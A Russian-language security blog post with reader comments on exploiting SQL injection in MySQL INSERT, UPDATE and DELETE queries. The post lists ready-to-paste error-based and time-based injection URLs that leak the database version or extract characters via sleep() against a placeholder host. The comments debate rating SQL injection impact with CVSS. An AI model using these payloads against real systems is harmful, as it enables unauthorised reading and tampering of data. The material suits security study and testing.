Эксплуатация SQL Injection в Insert, Update, Delete, etc

К данной публикации меня сподвигла появившееся на днях тема в форуме sla.ckers.org (SQL Injection, MySql, INSERT INTO). SQL-инъекцию довольно часто можно встретить в SELECT-запросе. Но ровно также уязвимый параметр к проведению инъекции может попасть и в конструкции Insert, Update, Delete, Replace и пр. Рассмотрим, каким же образом в подобных случаях можно получить максимум пользы с позиций атакующего.

Стоит сразу же отметить, что в серьезных СУБД, таких как Oracle, Microsoft SQL Server и им подобным существует возможность разделения запросов через точку с запятой. Поэтому для таких баз данных можно, например, выполнять insert, когда инъекция попадает в select-запрос и наоборот.

Рассмотрим следующие уязвимые SQL-запросы на примере insert и update, где sqli – это уязвимый параметр к проведению атаки "Внедрение операторов SQL":


Метод error-based (MySQL):

(1) http://serv/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

(2) http://serv/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--

(3) http://serv/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

(4) http://serv/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

(5) http://serv/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

(6) http://serv/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Аналогичным образом атака может быть реализована в запросах delete, replace и пр. Как вариант, может использоваться конструкция "order by". Например:

delete from test where id = sqli;

http://serv/?sqli=1 order by (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Метод time-based (MySQL):

(1) http://serv/?sqli=1'),((if(ascii(mid('pass',1,1))=112,(sleep(10)),1)),'')--

(2) http://serv/?sqli=1,(if(ascii(mid('pass',1,1))=112,(sleep(10)),1)))--

(3) http://serv/?sqli=1,a=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))

(4) http://serv/?sqli=1',id=(if(ascii(mid('pass',1,1))=112,(sleep(10)),1))--

(5) http://serv/?sqli=1 order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--

(6) http://serv/?sqli=1' order by (if(ascii(mid('pass',1,1))=112,(sleep(1)),1))--

24 комментария :

  1. дим, хватит постить бояны, к тому же не полные ;)

    ОтветитьУдалить
  2. Этот комментарий был удален автором.

    ОтветитьУдалить
  3. Возникает закономерный вопрос - "И чо?"

    Еще SQLi встречается в exec, хранимках/триггерах, и даже пару раз видел в create (в MS SQL создавались временные таблицы и хранимки)...

    ОтветитьУдалить
  4. Сереж, "а то", что когда мне встретится SQLi в insert/MySQL я даже думать не буду, а зайду сюда и сделаю copy/paste.

    to Анонимный:

    буду благодарен за полный баян на эту тему ;)

    ОтветитьУдалить
  5. Вообще, если честно, данный пост появился на мысли "а имеет ли смысл разделять SQL-инъекции по возможностям: Selection-based, Modification-based, Execution-based" из рассылки WASC.

    ОтветитьУдалить
  6. Да ладно, чего вы набросились... Баяны, баяны. Вот начинающий вайтхет прочитает блог Димы от начала и до конца и перестанет быть начинающим. Пользы от такого блога в миллион пицот раз больше, чем от блогов на тему "как же хреново жить то, какие все старперы в ИБ, какие все идиоты, один я Д'Артаньян".

    ОтветитьУдалить
  7. Touzoku, спасибо за поддержку! :)

    ОтветитьУдалить
  8. Имхо разделять смысл всё же имеет, т.к. в скулях в инсертах/апдейтах появляются дополнительные возможности и нюансы при записи. Не только же читать данные :)

    ОтветитьУдалить
  9. да, я тоже пришел к этому выводу, что следует добавить разделение по типу воздействия на среду...

    ОтветитьУдалить
  10. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 22:55

    >что следует добавить разделение по типу воздействия на среду...

    Димч, ты опять "мускульно" мыслишь. Пора избавляться от этого лампового наследия :)))
    "Воздействие" на "среду" в основном определяется дизайном приложения, а не тем местом, куда ты попадаешь в запросе. Вспомни base64 encoded stored proc в postgreS :)

    Т.е. использование mysql 3 вместо ms sql серьезно снижает потенциально воздействие, ибо мускуль убог :)

    Применение же "не sa", разделение учетных записей для записи/чтения, а также грамотное использование базовых (пермишены/роли) + дополнительных механизмов разграничения доступа (а-ля ownership chain в ms sql) вполне может свести "воздействие" на "среду" к ипичному "селекту того что уже и так в паблике".

    ОтветитьУдалить
  11. :) так я и говорю про дизайн и механизмы защиты (разграничения доступа, минимизация привилегий, etc). какая разница, куда мы попадаем, если мы можем читать и изменять данные в обход логики работы приложения? правильно! разница есть только с позиций атакующего, когда под MySQL проведение атаки может быть затруднительным, если инъекция попадает в insert, например.

    Под Selection-based я понимаю, что атакующий способен только читать обрабатываемые данные на сервере в обход логики работы приложения, а не то, что инъекция попадает в SELECT запрос.

    ОтветитьУдалить
  12. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 23:11

    Это я к чему, собственно.
    Смысл смешивать impact с уязвимостью и атакой? Понятно, что у каждой атаки есть потенциальные последствия (или пусть "степень риска"). Причем их много :) И зависят они от огромного количества факторов, влоть до настроения атакующего и текущего уровня развития передовой хакерской мысли. Не говоря уже о фазе луны.
    Единственное что мне удалось придумать в этом направлении (к стати, в WASC TCv2 не вошло :() это выделить два типа impact: технический и нетехнический.

    Технический - тут все просто - берем CIA, CVSSv2 и считаем два варианта - максимальный и типичный. Например для SQLi относительно системы/приложения это будет что-то типа:

    Max

    (AV:N/AC:L/Au:N/C:C/I:C/A:C) = 10

    Typical

    (AV:N/AC:L/Au:N/C:P/I:P/A:P) = 7.5

    Нетехнический (бызнес импакт) - это типичные последствия для бызнеса, например - dataloss, malware infection и все такое. Можно взять например, из WASC WHID. Где-то валяется - напомни, скину.

    ОтветитьУдалить
  13. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 23:19

    А иньекция, позволяющая брутить пароли и сканировать порты на удаленных серверах а-ля http://www.securiteam.com/tools/5FP0F20FPK.html она что будет нетвок коннектион унд брутефорс байзед?

    ОтветитьУдалить
  14. думаю некорректно обобщенно считать с Exploitability Metrics т.к. они заранее не известны. Поэтому, Typical у SQLi тогда - (C:P/I:P/A:P) = 6.4 (Impact Subscore)

    мой вижен (больше приближен к реалиям SQLi):

    В зависимости от множества факторов критичность уязвимости "Внедрение операторов SQL" по CVSS колеблется от 0 до 10. Для проведения обобщенной оценки могут использоваться следующие типы воздействия на среду при реализации атаки "Внедрение операторов SQL":

    Selection-based – атакующий способен только читать обрабатываемые данные на сервере в обход логики работы приложения. Impact Subscore (C:C/I:N/A:P) 7.8

    Modification-based – атакующий способен только изменять или удалять данные на сервере в обход логики работы приложения. Impact Subscore (C:N/I:C/A:C) 9.2

    Execution-based – атакующий способен выполнять команды на сервере в обход логики работы приложения. Impact Subscore (C:C/I:C/A:C) 10

    Для всех случаев, когда происходит пересечение возможного доступа к данным (например, чтение и изменение) конечный уровень критичности уязвимости "Внедрение операторов SQL" по CVSS, без учета метрик эксплуатации (AccessVector/AccessComplexity/Authentication), будет равен 10 (C:C/I:C/A:C).

    ОтветитьУдалить
  15. >> иньекция, позволяющая брутить пароли
    Selection-based - доступ к данным на чтение

    >> сканировать порты на удаленных серверах
    что там? привилегии sa требуются?:) - это Execution-based

    ОтветитьУдалить
  16. ЗЫ: можно добавить еще "Not classified" 0.0 (C:N/I:N/A:N), например, когда права у пользователя существенно ограничены... а можно, например, только делать dns-резолвинг.

    ОтветитьУдалить
  17. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 23:40

    >http://msdn.microsoft.com/en-us/library/ms190312.aspx

    Нет, не требуются ;) Но через нее я как-то sa'шный пароль брутил :))) Токмо не на vbscript :)

    http://msdn.microsoft.com/en-us/library/ms190312.aspx (раздел пермешены).

    И?

    В общем совершенно невнятная классификация.

    ОтветитьУдалить
  18. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 23:49

    >ЗЫ: можно добавить еще "Not classified"

    а симысел?
    Я думаю, любому разумному человеку понятно, что бывают ситуации, когда уязвимость та вроде и есть, а реальная степень риска - нуль целых и нуль десятых. Т.е. нижняя грань всегда понятна.

    И что мы все про sqli и про sqli - давай более смешной пример - CSRF, где "уязвимость" как таковая присутствует только "если сайту это надо", а степень риска вообще зависит от конкретной ссылки и ... :)

    ОтветитьУдалить
  19. Владимир Тигров - человек, еще совсем мальчик2 февраля 2010 г., 23:52

    >а можно, например, только делать dns-резолвинг.

    А это как раз был пример "вплоть до настроения атакующего и текущего уровня развития передовой хакерской мысли. Не говоря уже о фазе луны." :))

    ОтветитьУдалить
  20. хе-хе))) после недолгих размышлений на тему приспособления этого к "жизни"... в общем, убедил, полезности с такой классификации не будет. Достаточно двух метрик:
    Typical (default) - (C:P/I:P/A:P) 6.4
    И Max - (C:C/I:C/A:C) 10

    ОтветитьУдалить
  21. Владимир Тигров - человек, еще совсем мальчик3 февраля 2010 г., 00:13

    >думаю некорректно обобщенно считать с
    >Exploitability Metrics т.к. они заранее
    >не известны.
    >Поэтому, Typical у SQLi тогда -
    >(C:P/I:P/A:P) = 6.4 (Impact Subscore)

    Ну согласись, что SQLi все-таки в большинстве случаев удаленная уязвимость и эксплуатировать ее легко?

    >Selection-based – атакующий способен только
    >читать обрабатываемые данные на сервере в
    > обход логики работы приложения.
    >Impact Subscore (C:C/I:N/A:P) 7.8

    простите, а откуда здесь частично афекченная доступность? benchmark? дык это тогда execution-based получается, ведь benchmark це функция :).

    >Modification-based – атакующий способен только
    >изменять или удалять данные на сервере в обход
    >логики работы приложения.
    >Impact Subscore (C:N/I:C/A:C) 9.2

    ... и никакого селекта? И как часто ты такое встречал?

    >Execution-based – атакующий способен выполнять
    > команды на сервере в обход логики работы
    >приложения. Impact Subscore (C:C/I:C/A:C) 10

    А если есть только select но вытащил пароль cms, подошедший к root shell :)?


    >Для всех случаев, когда происходит пересечение >возможного доступа к данным (например, чтение >и изменение) ... будет равен 10 (C:C/I:C/A:C).

    А если только select/insert? и A:N получаетцо?

    ОтветитьУдалить
  22. >Достаточно двух метрик

    Ну спасибо, спас меня от вбивания страницы текста :)

    А в случаях "когда об данной конкретной уязвимости известно все" можно и персональный CVSS пощитать + бызнес ымпакт приплексти из контекста. Если нужно, конечно.

    ОтветитьУдалить
  23. >> Ну согласись, что SQLi все-таки в большинстве случаев удаленная уязвимость и эксплуатировать ее легко?

    ключевое слово "в большинстве случаев", т.е. не всегда. следовательно низя просто так подняться...

    >> Impact Subscore (C:C/I:N/A:P) 7.8
    >> простите, а откуда здесь частично афекченная >> доступность? benchmark? дык это тогда execution-based получается, ведь benchmark це функция :).

    benchmark не позволяет выполнять команды на сервере.

    >> А если только select/insert? и A:N получаетцо?

    я же уже согласился, что классификация не получилась:) так что...

    ОтветитьУдалить